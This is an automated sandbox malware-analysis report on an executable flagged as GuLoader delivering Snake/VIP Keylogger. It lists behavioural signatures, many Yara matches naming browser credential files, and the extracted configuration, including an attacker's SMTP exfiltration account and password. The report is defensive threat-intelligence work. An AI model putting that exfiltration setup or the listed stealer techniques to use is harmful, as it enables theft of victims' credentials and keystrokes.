Edit tour

Windows Analysis Report
Drawing_Products_Materials_and_Samples_IMG.exe

Overview

General Information

Sample name:	Drawing_Products_Materials_and_Samples_IMG.exe
Analysis ID:	1516835
MD5:	9ca0138738dcc4faa58c59c0898d4834
SHA1:	d904efbf202092b4b29862951c2b39d1c298ac1b
SHA256:	87da16b9e0f9fc7d74735c59b920dea8460d91f497380aa1a83834b86771b9e2
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Opens the same file many times (likely Sandbox evasion)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64native

Drawing_Products_Materials_and_Samples_IMG.exe (PID: 1516 cmdline: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe" MD5: 9CA0138738DCC4FAA58C59C0898D4834)

Drawing_Products_Materials_and_Samples_IMG.exe (PID: 3392 cmdline: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe" MD5: 9CA0138738DCC4FAA58C59C0898D4834)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "logs@astonherald.com", "Password": "office12#", "Host": "smtp.zoho.eu", "Port": "587", "Version": "4.4"}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "logs@astonherald.com", "Password": "office12#", "Host": "smtp.zoho.eu", "Port": "587"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33f92:$s1: UnHook 0x33f2e:$s2: SetHook 0x33f67:$s3: CallNextHook 0x33ef6:$s4: _hook
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40100:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f7a3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3fa00:$a4: \Orbitum\User Data\Default\Login Data 0x403df:$a5: \Kometa\User Data\Default\Login Data
00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x363ea:$a1: get_encryptedPassword 0x363be:$a2: get_encryptedUsername 0x36482:$a3: get_timePasswordChanged 0x3639a:$a4: get_passwordField 0x36400:$a5: set_encryptedPassword 0x361cd:$a7: get_logins 0x31a21:$a10: KeyLoggerEventArgs 0x319f0:$a11: KeyLoggerEventArgsEventHandler 0x362a1:$a13: _encryptedPassword
00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3545a:$a1: get_encryptedPassword 0x3542e:$a2: get_encryptedUsername 0x354f2:$a3: get_timePasswordChanged 0x3540a:$a4: get_passwordField 0x35470:$a5: set_encryptedPassword 0x3523d:$a7: get_logins 0x30a91:$a10: KeyLoggerEventArgs 0x30a60:$a11: KeyLoggerEventArgsEventHandler 0x35311:$a13: _encryptedPassword
00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x77158:$a1: get_encryptedPassword 0x7712c:$a2: get_encryptedUsername 0x771f0:$a3: get_timePasswordChanged 0x77108:$a4: get_passwordField 0x7716e:$a5: set_encryptedPassword 0x76f3b:$a7: get_logins 0x7278f:$a10: KeyLoggerEventArgs 0x7275e:$a11: KeyLoggerEventArgsEventHandler 0x7700f:$a13: _encryptedPassword
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33072:$s1: UnHook 0x3300e:$s2: SetHook 0x33047:$s3: CallNextHook 0x32fd6:$s4: _hook
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f1e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e883:$a3: \Google\Chrome\User Data\Default\Login Data 0x3eae0:$a4: \Orbitum\User Data\Default\Login Data 0x3f4bf:$a5: \Kometa\User Data\Default\Login Data
00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x354ca:$a1: get_encryptedPassword 0x3549e:$a2: get_encryptedUsername 0x35562:$a3: get_timePasswordChanged 0x3547a:$a4: get_passwordField 0x354e0:$a5: set_encryptedPassword 0x352ad:$a7: get_logins 0x30b01:$a10: KeyLoggerEventArgs 0x30ad0:$a11: KeyLoggerEventArgsEventHandler 0x35381:$a13: _encryptedPassword
00000000.00000002.17886564519.0000000008520000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xe17e6:$a1: get_encryptedPassword 0xfff69:$a1: get_encryptedPassword 0x1fb4df:$a1: get_encryptedPassword 0x3555b9:$a1: get_encryptedPassword 0xe17ba:$a2: get_encryptedUsername 0xfff3d:$a2: get_encryptedUsername 0x1fb4b3:$a2: get_encryptedUsername 0x35558d:$a2: get_encryptedUsername 0xe187e:$a3: get_timePasswordChanged 0x100001:$a3: get_timePasswordChanged 0x1fb577:$a3: get_timePasswordChanged 0x355651:$a3: get_timePasswordChanged 0xe1796:$a4: get_passwordField 0xfff19:$a4: get_passwordField 0x1fb48f:$a4: get_passwordField 0x355569:$a4: get_passwordField 0xe17fc:$a5: set_encryptedPassword 0xfff7f:$a5: set_encryptedPassword 0x1fb4f5:$a5: set_encryptedPassword 0x3555cf:$a5: set_encryptedPassword 0xe15d2:$a7: get_logins
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31472:$s1: UnHook 0x3140e:$s2: SetHook 0x31447:$s3: CallNextHook 0x313d6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d5e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cc83:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cee0:$a4: \Orbitum\User Data\Default\Login Data 0x3d8bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x338ca:$a1: get_encryptedPassword 0x3389e:$a2: get_encryptedUsername 0x33962:$a3: get_timePasswordChanged 0x3387a:$a4: get_passwordField 0x338e0:$a5: set_encryptedPassword 0x336ad:$a7: get_logins 0x2ef01:$a10: KeyLoggerEventArgs 0x2eed0:$a11: KeyLoggerEventArgsEventHandler 0x33781:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33f92:$s1: UnHook 0x33f2e:$s2: SetHook 0x33f67:$s3: CallNextHook 0x33ef6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40100:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f7a3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3fa00:$a4: \Orbitum\User Data\Default\Login Data 0x403df:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31472:$s1: UnHook 0x3140e:$s2: SetHook 0x31447:$s3: CallNextHook 0x313d6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d5e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cc83:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cee0:$a4: \Orbitum\User Data\Default\Login Data 0x3d8bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x338ca:$a1: get_encryptedPassword 0x3389e:$a2: get_encryptedUsername 0x33962:$a3: get_timePasswordChanged 0x3387a:$a4: get_passwordField 0x338e0:$a5: set_encryptedPassword 0x336ad:$a7: get_logins 0x2ef01:$a10: KeyLoggerEventArgs 0x2eed0:$a11: KeyLoggerEventArgsEventHandler 0x33781:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x363ea:$a1: get_encryptedPassword 0x363be:$a2: get_encryptedUsername 0x36482:$a3: get_timePasswordChanged 0x3639a:$a4: get_passwordField 0x36400:$a5: set_encryptedPassword 0x361cd:$a7: get_logins 0x31a21:$a10: KeyLoggerEventArgs 0x319f0:$a11: KeyLoggerEventArgsEventHandler 0x362a1:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x32192:$s1: UnHook 0x3212e:$s2: SetHook 0x32167:$s3: CallNextHook 0x320f6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e300:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d9a3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3dc00:$a4: \Orbitum\User Data\Default\Login Data 0x3e5df:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x345ea:$a1: get_encryptedPassword 0x345be:$a2: get_encryptedUsername 0x34682:$a3: get_timePasswordChanged 0x3459a:$a4: get_passwordField 0x34600:$a5: set_encryptedPassword 0x343cd:$a7: get_logins 0x2fc21:$a10: KeyLoggerEventArgs 0x2fbf0:$a11: KeyLoggerEventArgsEventHandler 0x344a1:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33072:$s1: UnHook 0x3300e:$s2: SetHook 0x33047:$s3: CallNextHook 0x32fd6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f1e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e883:$a3: \Google\Chrome\User Data\Default\Login Data 0x3eae0:$a4: \Orbitum\User Data\Default\Login Data 0x3f4bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x354ca:$a1: get_encryptedPassword 0x3549e:$a2: get_encryptedUsername 0x35562:$a3: get_timePasswordChanged 0x3547a:$a4: get_passwordField 0x354e0:$a5: set_encryptedPassword 0x352ad:$a7: get_logins 0x30b01:$a10: KeyLoggerEventArgs 0x30ad0:$a11: KeyLoggerEventArgsEventHandler 0x35381:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33f92:$s1: UnHook 0x33f2e:$s2: SetHook 0x33f67:$s3: CallNextHook 0x33ef6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40100:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f7a3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3fa00:$a4: \Orbitum\User Data\Default\Login Data 0x403df:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x363ea:$a1: get_encryptedPassword 0x363be:$a2: get_encryptedUsername 0x36482:$a3: get_timePasswordChanged 0x3639a:$a4: get_passwordField 0x36400:$a5: set_encryptedPassword 0x361cd:$a7: get_logins 0x31a21:$a10: KeyLoggerEventArgs 0x319f0:$a11: KeyLoggerEventArgsEventHandler 0x362a1:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33072:$s1: UnHook 0x3300e:$s2: SetHook 0x33047:$s3: CallNextHook 0x32fd6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31472:$s1: UnHook 0x3140e:$s2: SetHook 0x31447:$s3: CallNextHook 0x313d6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f1e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e883:$a3: \Google\Chrome\User Data\Default\Login Data 0x3eae0:$a4: \Orbitum\User Data\Default\Login Data 0x3f4bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x354ca:$a1: get_encryptedPassword 0x3549e:$a2: get_encryptedUsername 0x35562:$a3: get_timePasswordChanged 0x3547a:$a4: get_passwordField 0x354e0:$a5: set_encryptedPassword 0x352ad:$a7: get_logins 0x30b01:$a10: KeyLoggerEventArgs 0x30ad0:$a11: KeyLoggerEventArgsEventHandler 0x35381:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d5e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cc83:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cee0:$a4: \Orbitum\User Data\Default\Login Data 0x3d8bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x338ca:$a1: get_encryptedPassword 0x3389e:$a2: get_encryptedUsername 0x33962:$a3: get_timePasswordChanged 0x3387a:$a4: get_passwordField 0x338e0:$a5: set_encryptedPassword 0x336ad:$a7: get_logins 0x2ef01:$a10: KeyLoggerEventArgs 0x2eed0:$a11: KeyLoggerEventArgsEventHandler 0x33781:$a13: _encryptedPassword
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x32192:$s1: UnHook 0x3212e:$s2: SetHook 0x32167:$s3: CallNextHook 0x320f6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33072:$s1: UnHook 0x3300e:$s2: SetHook 0x33047:$s3: CallNextHook 0x32fd6:$s4: _hook
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e300:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d9a3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3dc00:$a4: \Orbitum\User Data\Default\Login Data 0x3e5df:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f1e0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e883:$a3: \Google\Chrome\User Data\Default\Login Data 0x3eae0:$a4: \Orbitum\User Data\Default\Login Data 0x3f4bf:$a5: \Kometa\User Data\Default\Login Data
2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x345ea:$a1: get_encryptedPassword 0x345be:$a2: get_encryptedUsername 0x34682:$a3: get_timePasswordChanged 0x3459a:$a4: get_passwordField 0x34600:$a5: set_encryptedPassword 0x343cd:$a7: get_logins 0x2fc21:$a10: KeyLoggerEventArgs 0x2fbf0:$a11: KeyLoggerEventArgsEventHandler 0x344a1:$a13: _encryptedPassword
